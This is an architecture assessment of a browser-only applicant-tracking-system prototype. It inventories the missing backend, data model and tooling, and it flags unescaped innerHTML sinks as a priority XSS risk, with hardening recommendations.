HR-ATS-Portal/docs/architecture/01-repository-assessment.md

01 — Repository Assessment

Status / Scope of this document

Status: Verified assessment of the repository as it exists on branch main at commit 889d48e ("Initial commit of TalentFlow ATS dashboard"), inspected 2026-07-29 and re-verified 2026-07-30. Binding for the rest of this package.

Scope. What is in this repository today, what can be kept, what must be replaced, and what does not exist at all. It is deliberately an audit, not a plan: the target architecture lives in _decisions.md and the phase plan in the delivery document. Where this assessment reaches a conclusion it states a RETAIN / REFACTOR / REBUILD verdict and the reasoning (§11).

Sources. Direct file inspection plus the evidence brief at docs/architecture/_repo-findings.md, which is treated as ground truth. Every claim below carries a file path and, where useful, a line number. Two things must be said plainly and are repeated throughout so no reader infers otherwise:

1. There is no backend, no database, no authentication, no tests, no build step, no container definition and no environment file anywhere in this repository (§2.1, _repo-findings.md §B). The backend is greenfield. Nothing in this document should be read as describing an existing server.
2. There is no meeting transcript and no recruitment brief in the repository. The only requirements artefact present is docs/TalentFlow-ATS-Business-Requirements-v1.0.docx, which this project itself produced. The assignment prompt is the authoritative requirements source (_repo-findings.md §J).

The single most important finding is not architectural, it is a security finding: 34 unescaped innerHTML assignments and no escaping helper anywhere, in a product whose two Phase 1 data sources are attacker-supplied CV files and inbound email. It is latent today and P0 the moment real data flows. It has its own section (§4) and it is the reason the hardening patch is sequenced before the frontend migration in _decisions.md.

---

1. What the repository is

A static, browser-only frontend prototype of an ATS, served by a 36-line no-cache Python static file server (devserver.py) that exists only for local preview. 6,371 lines across index.html, one stylesheet and 22 JavaScript files. It renders 23 screens of a complete-looking recruitment product entirely from data it invents in the browser at page load.

Measure	Value	Evidence
Total tracked source lines	6,371 (index.html 287, css/styles.css 1,269, js/*.js ~4,780, devserver.py 36)	wc -l over the tree
JavaScript files	22, loaded as 22 ordered <script> tags	ls js/; index.html:264-285
Routes / screens	23 routes, 23 view functions plus 2 sub-view helpers	js/app.js:7-16; Views.* in js/*.js
Network calls of any kind	0 — no fetch, XMLHttpRequest, axios, WebSocket, EventSource, $.ajax	repo-wide grep; _repo-findings.md §C
External HTTP dependencies	1 — the Google Fonts stylesheet	index.html:21,23
Persistence	localStorage for the theme string only	js/app.js:64,193,198
Commits	1	git log

graph LR
  subgraph BROWSER["Browser tab — everything happens here"]
    DATA["js/data.js<br/>seeded PRNG, 88123<br/>generates the whole dataset in memory"]
    DB["window.DB<br/>~40 arrays + helpers"]
    ROUTER["js/app.js<br/>hash router, 23 routes"]
    VIEWS["20 view modules<br/>functions returning HTML strings"]
    UI["js/ui.js primitives<br/>js/charts.js canvas engine"]
    DOM["main.innerHTML = view.html"]
    LS["localStorage<br/>theme only"]
  end
  SERVER["devserver.py<br/>static files, no-cache"]
  FONTS["fonts.googleapis.com<br/>(only outbound request)"]
  SERVER -.->|"serves files"| BROWSER
  BROWSER -.->|"stylesheet"| FONTS
  DATA --> DB
  DB --> VIEWS
  ROUTER --> VIEWS
  VIEWS --> UI
  VIEWS --> DOM
  ROUTER --> LS

There is no second box in that diagram, and that is the finding. Every number a recruiter would see — ATS scores, time-to-hire, pipeline conversion, duplicate flags — is produced by js/data.js and discarded on reload.

---

2. The assessment table

The required table follows, split into five blocks purely for readability. The columns are identical throughout: Area | Current State | Evidence/File Path | Risk | Recommendation.

2.1 Project structure, tooling and manifests

Area	Current State	Evidence/File Path	Risk	Recommendation
Directory structure	Flat: index.html, css/, js/ (22 flat files), devserver.py, docs/, .claude/launch.json, .backup-prebrand/. No src/, server/, api/, db/, tests/	tree listing; _repo-findings.md §A	Low today. There is no structure to grow into — the first backend file has nowhere obvious to live	Introduce a two-root layout (api/ for the Django project, web/ for the Vite app) in Phase 0. Do not add backend code into js/
Package manifests	Absent. No package.json, no lockfile, no node_modules/, no requirements.txt, pyproject.toml, Pipfile, composer.json, go.mod, Gemfile, pom.xml, build.gradle	verified by direct check; _repo-findings.md §B	No dependency inventory, no pinning, no vulnerability surface to scan — and no incumbent stack to preserve	Greenfield: pyproject.toml + lock for the API, package.json + lock for the web app. Dependency scanning in CI from day one
Build step	Absent. No tsconfig.json, vite.config.js, webpack.config.js, Makefile. Files are shipped as authored	_repo-findings.md §B	No minification, no typechecking, no module resolution, no tree-shaking, no dead-code detection. Every file is global	Accept the build step the repo deliberately lacks. This is a real cost, stated in _decisions.md, bought back by JSX escaping and TypeScript
Module system	None. 22 <script> tags in dependency order; every module attaches to window (DB, UI, Charts, App, Router, Views, plus Candidates, Inbox, CVImport, RBAC, AI, …)	index.html:264-285; js/data.js:492, js/ui.js:251, js/charts.js:339	Load order is an invisible contract. Any file can reach any other. This is the same failure mode the module-boundary rules in _decisions.md exist to prevent	REBUILD as ES modules under Vite. The import-linter-style boundary discipline planned for the backend has no frontend equivalent today
Linting / formatting	Absent. No ESLint, Prettier, stylelint, ruff or mypy config	verified by direct check	Style drift and, more seriously, no mechanical gate available for the rules that matter (react/no-danger, design-token-only CSS)	Add in Phase 0. _decisions.md makes react/no-danger a CI error and stylelint the token-usage enforcer; both need config that does not exist yet
Tests	Absent. Zero test files, no runner, no fixtures, no tests/	verified by find; _repo-findings.md §B, §H	Every change is verified by clicking. With two developers and one reviewer this does not scale past a handful of screens	Entirely additive, so shape it correctly: pytest against real Postgres, Vitest for components, 5 Playwright journeys (_decisions.md). A natural varied workstream for Ahmed
CI / CD	Absent. No .github/, no pipeline of any kind. Single commit, no branch protection	verified by direct check	Nothing prevents an unescaped interpolation, a missing migration or a boundary violation from merging	GitHub Actions with one required pipeline in Phase 0, including the anti-XSS grep gate (§4.5)
Docker / deployment	Absent. No Dockerfile, no docker-compose.yml, no IaC. devserver.py is a stdlib static server with caching defeated and logging suppressed	devserver.py:13-29; .claude/launch.json; _repo-findings.md §B	There is no reproducible environment. "Works on my machine" is currently the only environment	One image, two entrypoints (web, worker) per _decisions.md. devserver.py stays as the prototype demo runner and is deleted with the prototype
Environment / secrets	Absent. No .env, no .env.example, no secret store, no config layer. .gitignore anticipates .env* but nothing exists to leak	.gitignore:31-34; _repo-findings.md §B	None today (nothing to leak). Becomes acute at the first integration: Graph credentials and model-provider keys	.env.example in Phase 0; real secrets only in a managed secret store. Never a committed .env
.gitignore	Covers macOS, editors, .claude/, .audit.js, .backup-prebrand/, Python, .env*, logs. No Node section	.gitignore (42 lines)	node_modules/ and build output would be committed the day the frontend build lands	Add Node/build sections with the first package.json. Note: the Python section postdates devserver.py and is weak/ambiguous evidence of stack intent — it must not be cited as a decision input (_repo-findings.md §H)
Dead weight	.backup-prebrand/ holds a pre-rebrand copy of index.html, css/ (817-line older stylesheet) and js/	.backup-prebrand/css/styles.css (817 lines)	Two stylesheets in the tree invites editing the wrong one; it is gitignored, so it is also invisible to review	Delete once the rebrand is accepted. Version history is what git is for
Documentation	One BRD (docs/TalentFlow-ATS-Business-Requirements-v1.0.docx, 26 KB) plus this docs/architecture/ package, which now includes 18 ADRs at docs/architecture/adr/0001–0018: 0001 modular monolith, 0002 primary relational database, 0003 object storage, 0004 background job queue, 0005 email integration, 0006 candidate search, 0007 job and scoring versioning, 0008 duplicate resolution, 0009 permission enforcement, 0010 chatbot controlled query, 0011 AI provider abstraction, 0012 deployment topology, 0013 frontend strangler migration, 0014 Phase 0 XSS/CSP hardening, 0015 module boundary enforcement, 0016 real PostgreSQL in CI, 0017 plain-SQL migrations as schema authority, 0018 backend language and framework. The filenames are the register and 02 §13 is the index; treat that index as authoritative over this row, which is a snapshot. Still absent: no README, no runbook, no API docs, no code comments beyond file headers	docs/; docs/architecture/adr/; 02 §13	The .docx is not diffable or reviewable in a PR. The ADR trail now exists for the decisions listed above, so the bus-factor mitigation _decisions.md names is in place for them; two gaps remain (see risk 8)	Add a README with a two-command local start — still missing and still the highest-value small addition here. Close the two remaining ADR gaps (risk 8). Keep the BRD as the requirements input it is; if it is ever edited, export a Markdown copy alongside it so requirement changes are reviewable in a diff

2.2 Backend, data and API layers

Area	Current State	Evidence/File Path	Risk	Recommendation
Backend framework	Absent. No server-side code of any kind. No routes, controllers, services, serializers or middleware	_repo-findings.md §B	None inherited — and no constraint either. Operating Rule 9 ("do not replace the existing stack") therefore binds only the frontend and design system	Greenfield. _decisions.md selects Python 3.12 / Django 5 / DRF on parsing-ecosystem and team-shape grounds. Nothing in the repository contradicts or supports that; the choice is made from first principles
API routes	Absent — zero. Not "stubbed", not "mocked at the network layer": there is no HTTP client in the codebase, so there is no request to intercept	repo-wide grep for fetch(/XMLHttpRequest/axios/$.ajax/WebSocket/EventSource returns nothing	The frontend has never had a network boundary. There is no client, no error envelope, no retry, no auth header, no loading state (§10)	Design /api/v1/* fresh with an OpenAPI schema, and generate the TypeScript client from it so the contract is written once
Database	Absent. No engine, no schema, no connection, no driver	_repo-findings.md §B	Nothing persists. Close the tab and every action taken in the product is gone	One PostgreSQL 16+ instance, one logical database (_decisions.md). The prototype's dataset becomes, at most, a seed fixture
ORM / query builder / driver	Absent. No ORM, no query builder, no database library	_repo-findings.md §B	—	Free choice, made in _decisions.md. Note the tension flagged in §12: Part 1 selects Django partly for its built-in migrations while Part 2 mandates plain-SQL migrations with the ORM never generating schema
Migration tooling	Absent. No migration directory, no runner, no schema file, no seed script	verified by direct check; _repo-findings.md §B	Everything about schema evolution has to be invented, including the review workflow	Ordered up-only SQL migrations under db/migrations, every one reviewed by Talha (_decisions.md Part 2). A makemigrations --check-equivalent gate in CI so a model change cannot merge without its migration
Existing "models"	Plain JS object literals produced by generator loops inside one 512-line IIFE, exposed as ~40 arrays on window.DB. No schema, no types, no validation, no constraints, no relations beyond string ids (jobId, recruiterId)	js/data.js:492-511 (the DB export); js/data.js:112-127 (candidate literal)	These are display shapes, not a data model, and they encode exactly the errors the target model must not make (§2.3, §6)	REBUILD. Read js/data.js as a requirements artefact — it tells you which fields recruiters expect on screen — and then discard the structure entirely
Candidate / application separation	Absent. One flat candidates array carries jobId, jobTitle, department, stage, status, aiScore, recruiter, recruiterId directly on the person	js/data.js:112-127	One candidate cannot hold two applications. Re-applying overwrites history. Talent pool and cross-brand matching are impossible on this shape	REBUILD as candidate (identity) ↔ job_application (per-requisition), with the score attached to the application. _decisions.md calls this the highest-value structural change in the design
Raw intake layer	Absent. The "Recruitment Inbox" array is already resolved: each row carries name, email, phone, position, jobId, atsScore and recruiter at generation time	js/data.js:284-305; js/inbox.js:11-19	There is no representable state for "arrived but cannot become a candidate." A parse failure, an unusable attachment or a rejected submission has nowhere to live	REBUILD as raw_intake → intake_parse_attempt (append-only) → intake_resolution, with rejected_unusable and quarantined as terminal states carrying no candidate
Versioning	Absent. Jobs are mutable single records; editing one overwrites it in place via Object.assign	js/data.js:85-108; js/jobs.js:210-215	After an edit there is no way to know what a candidate actually applied against, or what requirements a score was computed from. Unfixable retroactively	REBUILD: immutable job_version / requirement / scoring_config_version rows with current_version_id pointers, and every downstream row pinning the version it used
History	Absent. Current values only. A pipeline drag mutates cand.stage and cand.status in place — no actor, no timestamp, no reason, no prior value	js/pipeline.js:93; js/data.js throughout	"Who moved this candidate out of Interview, when, and why" is unanswerable by construction. Same for recruiter reassignment and offer status	REBUILD: typed per-entity history tables with valid_from/valid_to intervals, plus the append-only audit log. Cheap to design in, expensive to retrofit — history that was never captured cannot be backfilled
Recruiter assignment	A single scalar copied onto the job and then onto the candidate (recruiter name string + recruiterId)	js/data.js:96, js/data.js:123	No primary/supporting distinction, no coordinator, no history, and a denormalised name string that goes stale the moment a person is renamed	REBUILD as an interval-based assignment table (from_ts, to_ts NULL = current) with a partial unique index on the primary role
ATS / AI score	aiScore: int(52, 98) — a random integer. No components, no evidence, no model, no version, no reproducibility. A second, different "relevance" number is blended client-side from the random score, a skill ratio and recency	js/data.js:123 (inside the candidate object literal at js/data.js:117-127; see §12 for the citation correction); js/candidates.js:14-19	Two different scores are shown for the same candidate on the same screen, both meaningless. Nothing here is reusable — not the algorithm, not the sub-scores, not the bands	REBUILD entirely: application_score rows that are append-only and pin config version, model version, requisition version and parsed-document version, with per-criterion contributions and evidence references
subScores on imported candidates	Fabricated to look explainable: experience: 80, education: 80, location: 100, salary: 90 are literal constants; skills and keywords are both set to the same random atsScore	js/import.js:164	This is the most misleading artefact in the repository — it renders as a score breakdown and is entirely fiction. A stakeholder demo reads it as working explainability	REBUILD. Keep the visual pattern (a component breakdown is the right UX); replace the content with real score_component rows
Money	Bare integers. salary: int(90,190)*1000; salaryMax is initialised to 0 and then derived by addition in a second pass. No currency field anywhere in the dataset. Formatting hardcodes $	js/data.js:126, js/data.js:99 and js/data.js:105 (salary range), js/data.js:504-505 (DB.money, DB.moneyK); js/offers.js:129 (offer validation is +f.base > 0 only)	Postings span six jurisdictions. A currency-free number is a compensation error waiting to be made, and float/int arithmetic on money is the classic rounding bug	REBUILD: numeric(14,2) + ISO-4217 code as a bound column pair on every monetary field, conversions stored alongside the pinned FX rate, original never overwritten
Dates / timezones	JS Date objects, toLocaleDateString for display, and a hardcoded "today" of 2026-07-09 in at least four places. Interview times are set with setHours in the browser's local zone	js/data.js:54 (daysAgo), js/data.js:237, js/candidates.js:18, js/candidates.js:433, js/jobboard.js:167	Every relative date on every screen ("3 days ago", "due in 5 days") is wrong relative to real time — the prototype is frozen three weeks in the past as of this writing. No UTC discipline, no tz-aware scheduling	REBUILD: timestamptz in UTC everywhere, plus the organiser's wall-clock intent and IANA zone retained for anything scheduled, so a tzdata change is a re-resolution job rather than data loss
Enums / reference data	Hardcoded arrays in the generator: departments, business units, locations, employment types, grades, stages, sources, education levels, interview types, meeting types, statuses	js/data.js:20-27, js/data.js:132-135, js/data.js:284-286	Vocabularies that the business must control are compiled into the frontend. Adding a department is a code change	REBUILD as reference tables in a ref schema, edited through an admin back-office. This is what lets the Settings UI wait until a later phase

2.3 Frontend

Area	Current State	Evidence/File Path	Risk	Recommendation
Frontend framework	None. Vanilla ES2019-ish JavaScript, no framework, no build, no types	js/*.js; _repo-findings.md §C	No component model, no reactivity, no state management. Every screen re-renders by rebuilding an HTML string and assigning it	REFACTOR the rendering layer to Vite + TypeScript + React, screen by screen (_decisions.md). RETAIN the CSS and the chart engine verbatim
Rendering model	Views are synchronous functions returning { html, onMount }. The router assigns view.html into main.innerHTML, then calls onMount() to bind events and draw canvases	js/app.js:26-33; e.g. js/rbac.js:8-34, js/candidates.js	There is no place in this signature for "loading", "empty because the request failed", or "partially loaded". This is the crux of §10	REBUILD the rendering layer. The route table and screen inventory survive; the view signature does not
Router	33-line hash router over location.hash, 23 routes, unknown route silently falls back to dashboard. No route params, no query state, no guards, no nested routes, no code splitting	js/app.js:7-16, js/app.js:20-23, js/app.js:54-57	Deep links to a candidate or requisition are impossible — record selection is in-memory only (Candidates.openProfile(id)), so no URL identifies a record. No auth guard hook exists	REBUILD with a real router: URL-addressable records via public_id, route guards driven by the authorization layer, lazy-loaded route chunks
Design system (CSS)	1,269 lines of tokenised CSS. 159 custom-property declarations (57 in :root, 41 in the dark block), 93 distinct tokens, 470 var(--…) references, 13 breakpoints, 33 dvh/safe-area usages, semantic class names (.card, .dt, .badge). Dual light/dark themes; WCAG 2.1 AA verified across 23 routes × 2 themes	css/styles.css; theme block at css/styles.css:110; _repo-findings.md §G	Very low. The real risk is losing it — rebuilding costs weeks and would probably regress accessibility	RETAIN verbatim. Content-freeze it, git mv into the new web app with zero content edits, and enforce token-only new CSS via stylelint
UI primitives (js/ui.js)	12 exported primitives: icon (56-icon inline SVG set), avatar, avatarStack, badge (30-entry status→class map), scoreChip, pbar, modal, closeModal, toast, dataTable (client-side sort + paginate + onRender hook), fieldError, clearErrors	js/ui.js:251 (export); js/ui.js:64,69,82,87,90,95,106,131,152,241	A coherent vocabulary matching the CSS — but every one of them builds HTML by interpolation, so every one is an XSS sink (js/ui.js:69,82,87,143,190,193)	REFACTOR: port one-for-one to typed React components keeping the same class names so the retained CSS keeps matching. This is a well-scoped, independently demonstrable junior workstream
Chart engine (js/charts.js)	Dependency-free canvas engine: line, area, bar, grouped bar, doughnut, horizontal bar, sparkline, legend, plus hover tooltips. Reads series colours live from CSS custom properties, so it re-themes automatically	js/charts.js:9 (css() reader), js/charts.js:15-20 (palette + fallback), js/charts.js:339-341 (export with a live PALETTE getter)	Low. One genuine bug class: canvases are drawn at fixed pixel size, so the app re-renders whole views on resize (js/app.js:216-228, and again at js/app.js:272)	RETAIN as-is behind one thin <Chart/> wrapper passing a canvas ref. Rewriting it would be pure loss and would add a charting dependency. Fix the duplicated resize handler during the port
Information architecture	23 routes with navigation grouping and a coherent screen inventory, validated as a UX artefact even though the data behind it is fake	js/app.js:7-16; index.html sidebar	Low	RETAIN as the route table and the screen backlog. _decisions.md maps six of the 23 routes to views over other modules rather than modules of their own
Forms and validation	~116 <input>/<select>/<textarea> sites across 16 files. Validation is ad-hoc per form: a local req() helper in one file, a > 0 check in another, UI.fieldError for display. No schema, no shared validator, no server-side counterpart	counted by grep (js/candidates.js 26, js/jobs.js 24, js/settings.js 17, js/interviews.js 12, js/offers.js 8, js/assessments.js 7, js/tasks.js 6, …); js/jobs.js:198-202, js/offers.js:129, js/ui.js:241-249	The forms this platform still needs — versioned requisitions with weighted requirements, interview scorecards, offer approval chains — are the most complex in the product and do not exist yet. Building them in this pattern is how a two-person team stalls	REBUILD with schema-first validation (Zod on the client, mirrored by serializer validation on the server). Validation must exist on the server regardless: client checks are bypassed by imports, integrations and direct API calls
Event handling	178 inline on*= attributes across 21 files, most interpolating ids: onclick="Candidates.openProfile('${c.id}')". Some handlers are real logic inline in markup: onclick="UI.toast('Permission changes saved','success')"	counted by grep; js/candidates.js:121; js/rbac.js:18	Inline handlers require unsafe-inline in CSP, which is precisely the protection needed against §4. They also make interpolated values executable context, not just text	REFACTOR now (delegated listeners reading data-*) as part of the Phase 0 patch; REBUILD later as React props
Loading / error / empty states	Loading: none. Error: none. Empty states exist and are well done (UI.dataTable renders one, and several views render their own)	js/ui.js:189-191; js/inbox.js:47,72; grep for spinner/skeleton/catch returns nothing meaningful	Every screen assumes data is present and correct, synchronously. There is no code path for "the request failed" because there is no request	REBUILD. See §10 — this is the single biggest reason the existing views cannot be wired to an API incrementally
Accessibility	Genuinely good: aria-* attributes on interactive chrome, role="dialog"/aria-modal on the modal, 44px touch targets, prefers-color-scheme handling, pinch-zoom deliberately left enabled, safe-area insets	js/ui.js:110,113; index.html:7-13; css/styles.css (33 dvh/safe-area usages); _repo-findings.md §G	Low — but focus management is incomplete: the modal does not trap focus or restore it on close, and route changes do not move focus	RETAIN the work and the standard. Add focus trap/restore and route-change focus management during the component port; make the AA verification a CI check rather than a one-off audit
Client state	Per-view local closures recreated on every render (state, selected, sortMode), plus mutable global arrays on DB, plus two ad-hoc buckets (DB.recentlyViewed, DB.favorites). Nothing survives a reload	js/candidates.js:8-11; js/inbox.js:8; js/data.js:488-490	Filter state, selection and sort are lost on every navigation. Mutations to DB are lost on refresh, which makes the prototype feel unreliable in demos	REBUILD: server state in a query cache keyed by endpoint, UI state in the URL where it belongs (filters, sort, page)
Theme	Well built: explicit choice persisted in localStorage, otherwise follows the OS and keeps following it until the user picks a side; re-renders on change so canvas charts re-read tokens	js/app.js:62-80, js/app.js:188-205	Low	RETAIN the behaviour and the reasoning. Port it as a small provider; keep the "follow OS until explicit choice" rule, which is a deliberate, correct decision
File upload	UI only, and the mechanics are a simulation. There is no <input type="file"> anywhere in the repository. The dropzone's drop handler reads e.dataTransfer.files.length and discards the files, then fabricates a queue of invented names with progress bars driven by setInterval and a random ATS score	js/import.js:71, js/import.js:77-99, js/import.js:101-114; grep for type="file"/FileReader returns nothing	Nothing is uploaded, parsed, checksummed, virus-scanned or stored. The screen states "Files are processed locally in this demo" (js/import.js:34), which is honest, but the surrounding UI reads as functional	RETAIN the UX shape (dropzone, queue, per-file status, duplicate interstitial — it is the right interaction). REBUILD the mechanics: real multipart upload → object storage with sha256 → intake row → parse attempt in the worker

2.4 Security, identity and authorization

Area	Current State	Evidence/File Path	Risk	Recommendation
Authentication	Absent. No login screen, no session, no token, no user context, no "current user" concept. Opening index.html grants the full application	repo-wide grep; _repo-findings.md §D	Total. Anyone who can reach the URL is an administrator, because there are no roles to be outside of	REBUILD. identity is a Phase 0-1 non-negotiable in _decisions.md: real sessions, SSO, and one authorization decision point
Security settings UI	Inert chrome. 2FA, SSO, IP allowlist, audit logging render as toggles with no handlers; session timeout, password policy and data retention are <select> elements with no name, no handler and no persistence	js/settings.js:146-160	Actively dangerous as a demo artefact: the screen asserts that 2FA and audit logging are on. A stakeholder reasonably concludes security controls exist	Split per _decisions.md: security/users/roles → identity, vocabularies/templates/branding → config. Until then, do not demo this tab as a capability
Role / permission logic	Display-only widget. 8 roles × 13 modules × 8 permission types, matrix generated from a single level cutoff index. Clicking a cell flips a boolean in an in-memory array; nothing reads the matrix to gate behaviour. There is no can(), hasPermission() or equivalent anywhere in the repository. "Save Changes" fires a success toast and saves nothing. A new role is pushed onto an array and lost on reload	js/rbac.js:78 (cell toggle), js/rbac.js:18 (the lying save button), js/rbac.js:83-88 (toggleAll), js/rbac.js:107-113 (cutoff-derived matrix), js/rbac.js:113 (in-memory push); data at js/data.js:426-446	The UI communicates enterprise-grade RBAC while enforcing nothing. It is also a design trap: the flat role × module × permission matrix has no notion of scope (this requisition, this department), which real recruiting authorization requires	REBUILD on a real permission model with scoped role assignments and one enforcement point. The matrix UI is worth rebuilding later — as a view over real Role/Permission rows, not as the source of truth
HTML escaping / XSS	No escaping helper exists anywhere. 34 innerHTML assignments across 14 files; every view interpolates data values straight into markup. The only escaping in the entire codebase is one hand-rolled, partial text.replace(/</g,'&lt;') on the chat input — which does not handle &, " or '	grep -c innerHTML js/*.js = 34 across 14 files; js/candidates.js:68, js/inbox.js:292, js/ui.js:69,82,87,143, js/app.js:113,122,148; the lone partial escape at js/aiassistant.js:102	P0 the moment real data flows. Full section: §4	Phase 0 hardening patch (escaping helper applied at all 34 sites, delegated events, CSP without unsafe-inline, CI grep gate), then structural elimination via JSX escaping in the migration
Content Security Policy	Absent. No CSP meta tag, no security headers. devserver.py sends only cache-control headers	index.html:1-30; devserver.py:15-18	No defence-in-depth behind the escaping gap. An injected <script> or onerror executes unimpeded	Add a CSP without unsafe-inline for scripts in Phase 0 — which requires removing the 178 inline handlers first, so the two tasks are one task. Add HSTS/X-Content-Type-Options/Referrer-Policy at the real server
Audit logging	Absent as a mechanism. There is an activity feed and a notifications array, both generated as display data	js/data.js (activity, notifications); _repo-findings.md §B	No record of who changed what. Combined with the missing history tables, the system today can answer neither "what is the current state" durably nor "how did it get there"	REBUILD as an append-only audit log with no update or delete path, carrying actor, actor type (human/system/ai), before/after and request id
Third-party / supply chain	Zero JS dependencies — genuinely a strength. One external runtime dependency: the Google Fonts stylesheet	index.html:21,23; no lockfile exists	Small but real: a third-party origin in the document's style context, an egress dependency, and a CSP entry that would otherwise be unnecessary. Also a privacy consideration for an internal HR tool	Self-host the two font families with the web app. This removes the only external origin, simplifies CSP, and removes a per-page-load third-party request
PII handling	100 candidate records with names, emails, phone numbers, salaries and employment history — all synthetic and generated locally, so nothing sensitive exists yet. No classification, no retention, no erasure path, no encryption concept	js/data.js:112-127; js/data.js:284-305	None today. Immediate on first real intake: a Data Retention dropdown that does nothing (js/settings.js:157-158) is not a retention policy	Classify PII at the column level from the first migration; implement retention as pseudonymisation rather than row deletion, so erasure can coexist with the mandatory history

2.5 Integrations, AI and operations

Area	Current State	Evidence/File Path	Risk	Recommendation
Email / Outlook integration	No email code of any kind. No SMTP, no IMAP, no Graph SDK, no mail parsing, no templating. The Inbox has an "Email" tab rendering 20 generated messages with fabricated bodies, sender names and attachment filenames; "Preview" on an attachment fires a toast	js/data.js:309-329 (email generator); js/inbox.js:283-300; grep for smtp/imap/graph/nodemailer returns nothing	The most convincing fake in the product: it looks exactly like a working Outlook integration. It is also where the §4 exposure becomes concrete — ${e.body} is rendered raw at js/inbox.js:292	REBUILD as a Graph delta-polling adapter feeding intake.ingest(). Start the Entra ID app registration and dedicated mailbox request early: it is outside the team's control and can block the critical path for weeks
Job board integrations	Publish UI over 8 generated platforms; "publish" unshifts a row into an in-memory array with a hardcoded date and zeroed metrics	js/jobboard.js:167; js/data.js (publishPlatforms, publishings)	Low (a later phase). Note it implies live posting state that does not exist	REBUILD as outbound adapters with per-platform posting state and reconciliation. Publishing has cost implications, so it needs a real approval gate
AI / ML code	Absent. No model client, no SDK, no prompt, no embedding, no API key path. aiScore is int(52,98). The AI Assistant is a keyword-matching function returning hand-written HTML strings after an artificial setTimeout delay. "AI Studio" is a gallery of 15 capability cards with hardcoded Beta / Coming Soon badges	js/data.js:123; js/aiassistant.js:9-90 (canned replies), js/aiassistant.js:113-116 (fake latency); js/data.js:448-465 (15 capabilities)	Two distinct risks. Technical: nothing is reusable, so all AI work is greenfield. Expectation: 15 capabilities already look nearly shipped, and the assistant is honest only in small print (js/aiassistant.js:13 "This is a UI preview", js/aiassistant.js:127 "Model endpoint · Not connected")	REBUILD behind one orchestration boundary that is the only holder of a provider client, writes a run ledger row per invocation, checks the human actor's permissions, and can only produce suggestions that a domain service accepts. Make capability status truthful per capability rather than a coming-soon grid
Duplicate detection	Simulated. duplicate: Math.random() < 0.18 at upload time; the review modal quotes a fixed "95% similarity on name + email"; "Merge" fires a toast and does nothing	js/import.js:84, js/import.js:130-152; js/data.js:304 (inbox duplicate flag derived from a status string)	The reversible-merge requirement — the hard part — is entirely unimplemented, while the UI implies it works	REBUILD: real candidate matching with recorded signals and scores, a suspected/confirmed/rejected review state, and merge as additive re-pointing with a per-operation undo log. Nothing is ever deleted
Background / async processing	Absent. No queue, no worker, no scheduler, no retry. The only "async" is setTimeout/setInterval faking progress	js/import.js:101-114; js/aiassistant.js:113	CV parsing and model calls are multi-second and CPU-bound. There is no execution context for them and no job status to poll	REBUILD: a durable queue with transactional enqueue, named queues, explicit retry policy, and a failed terminal state that surfaces in the intake UI rather than a silent drop
Search	Client-side Array.filter + String.includes over in-memory arrays, plus a global search that concatenates fields and lowercases	js/app.js:130-150; js/candidates.js:22-40; js/inbox.js:18	Fine at 100 rows, useless at 50,000. No relevance, no fuzzy matching, no accent folding, no pagination of results	REBUILD as Postgres full-text search plus trigram similarity over a maintained index table — the same index type that duplicate detection needs. No search cluster in Phase 1
Observability	Absent. No logging, no metrics, no tracing, no error reporting, no request ids. devserver.py explicitly suppresses its own access log	devserver.py:27-28; grep for console.error/Sentry/window.onerror returns nothing	A frontend exception today produces a blank region and no signal. In production, an intake failure would be invisible	Structured logs with request-id propagation, error reporting on both tiers, and alerting on the intake queue specifically — a stuck parse queue must page someone
Rate limiting / abuse	Absent (and not meaningful without a server). No throttling concept anywhere	—	The career portal and any candidate-facing upload endpoint will be publicly reachable	Per-user and per-IP limits at the API layer; size and type limits plus virus scanning on every uploaded file before parsing

---

3. Reusable components

Four assets justify their retention. Everything else in the repository is either scaffolding for a demo or a shape that the target data model must not copy.

Asset	What is worth keeping	Evidence	Retention mechanism
css/styles.css	1,269 lines of tokenised CSS: 93 distinct tokens, dual light/dark themes, 320px→ultrawide across 13 breakpoints, WCAG 2.1 AA verified across 23 routes × 2 themes, 44px touch targets, dvh/safe-area handling, Utopia brand palette and type hierarchy. Uses semantic class names, so it ports unchanged into any component framework	css/styles.css; _repo-findings.md §G	git mv with zero content edits; content-freeze; stylelint rule permitting only existing var(--…) tokens in new CSS
js/charts.js	347-line dependency-free canvas engine, seven chart types plus legend and tooltips, reading series colours live from CSS custom properties so it re-themes automatically	js/charts.js:9, js/charts.js:339-341	Retained as-is behind one thin <Chart/> wrapper passing a canvas ref
js/ui.js primitives	A coherent 12-primitive component vocabulary already matched to the CSS: icon (56 inline SVGs), avatar, avatarStack, badge (30-entry status map), scoreChip, pbar, modal, toast, dataTable, fieldError, clearErrors	js/ui.js:251	Ported one-for-one to typed components keeping the same class names, so the retained CSS keeps matching. Sort/paginate move server-side
23-route information architecture	Module breakdown, navigation grouping and screen inventory — a validated UX artefact independent of the fake data behind it	js/app.js:7-16	Becomes the route table and the screen backlog

Two further items are worth keeping as inputs, not as code: js/data.js documents the fields recruiters expect on each screen (read it as a display-requirements list, then discard the structure), and the import screen's interaction design — dropzone, per-file queue, live status, duplicate interstitial before commit — is the right UX for real intake even though every mechanic behind it is simulated (js/import.js:22-45, js/import.js:130-152).

---

4. P0 — Systemic XSS exposure

This is the most serious finding in the repository. It is given its own section because it is the one issue with a deadline that is not under the team's control: it becomes exploitable the moment someone points the prototype at a real mailbox or a real CV, which is exactly what a stakeholder demo tempts people to do.

4.1 The finding

Fact	Evidence
No HTML escaping exists anywhere. grep for escapeHtml, sanitiz, DOMPurify returns nothing	repo-wide grep; _repo-findings.md §E
34 innerHTML assignments across 14 files. Every view builds markup by template-string interpolation of data values	grep -c innerHTML js/*.js: inbox.js 8, app.js 4, aiassistant.js 4, ui.js 4, pipeline.js 3, rbac.js 2, tasks.js 2, plus 1 each in analytics.js, candidates.js, charts.js, import.js, interviews.js, misc.js, recruiterhub.js
Candidate-controlled fields are interpolated raw into markup	js/candidates.js:68 — ${c.name}, ${c.currentTitle}, ${c.location} in one table cell
Inbound email bodies are interpolated raw into markup	js/inbox.js:292 — <div class="email-preview">${e.body}</div>
The shared primitives are themselves sinks, so every screen inherits the flaw	js/ui.js:69 (avatar initials), js/ui.js:82 (badge text), js/ui.js:87 (score chip), js/ui.js:143 (toast message), js/ui.js:190,193 (table cells)
178 inline event handlers with interpolated values, e.g. onclick="Candidates.openProfile('${c.id}')" — data lands in executable attribute context, not just text	counted by grep; js/candidates.js:121
The only escaping in the codebase is one hand-rolled, incomplete escape of the chat input — < only, not &, " or '	js/aiassistant.js:102

